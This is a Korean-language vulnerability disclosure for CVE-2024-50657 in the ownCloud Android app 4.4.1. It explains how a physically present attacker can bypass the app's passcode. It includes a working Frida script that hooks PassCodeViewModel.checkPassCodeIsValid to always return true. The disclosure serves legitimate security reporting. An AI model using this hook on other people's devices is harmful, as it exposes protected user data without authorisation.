
Owncloud Android 앱의 잘못된 접근 제어 취약점인 CVE-2024-50657에 대한 개념 증명 악용 코드를 제공하여 Frida 후킹을 통한 패스코드 우회를 시연합니다.
Owncloud android apk v.4.4.1의 문제로, 물리적으로 근접한 공격자가 PassCodeViewModel 클래스, 특히 checkPassCodeIsValid 메서드를 통해 권한을 상승시킬 수 있습니다.
부적절한 접근 제어
Owncloud
Owncloud android apk - 4.4.1
com.owncloud.android.presentation.security.passcode.PassCodeViewModel
PassCodeViewModel 클래스는 애플리케이션에서 암호 확인 로직을 관리합니다. 이 클래스 내의 checkPassCodeIsValid 메서드는 입력된 암호의 유효성을 판단하는 역할을 합니다.
Frida 스크립트를 사용하여 PassCodeViewModel 클래스의 checkPassCodeIsValid 메서드를 후킹합니다. 메서드의 구현을 항상 true를 반환하도록 변경하여 실제 암호 검증을 우회합니다.
앱이 실행되는 동안 Frida 스크립트가 실행됩니다. 사용자가 입력한 모든 암호가 유효한 것으로 간주되어 무단 접근이 허용됩니다.
Java.perform(function() { // 대상 애플리케이션에서 PassCodeViewModel 클래스를 찾습니다 var PassCodeActivity = Java.use('com.owncloud.android.presentation.security.passcode.PassCodeViewModel');
// checkPassCodeIsValid 메서드를 후킹하여 동작을 수정합니다 PassCodeActivity.checkPassCodeIsValid.implementation = function(passcode) {
// 항상 true를 반환하여 실제 암호 확인을 우회합니다 return true;
};
});
동영상 PoC 링크 : https://drive.google.com/drive/folders/1C-ZYjYhmKRGvWs9YN51XOiAS2WxxwdQd?usp=sharing
이 취약점은 클라이언트 측 보안 우회 취약점입니다. 애플리케이션의 암호 기능을 사용하여 민감한 데이터를 보호하거나 특정 앱 기능에 대한 접근을 제한하는 사용자에게 영향을 미칩니다. 이 취약점을 악용하면 공격자가 암호 확인을 우회하고 보호되어야 하는 앱 영역에 무단으로 접근하여 사용자 데이터를 노출하거나 앱 내에서 허가되지 않은 작업을 수행할 수 있습니다.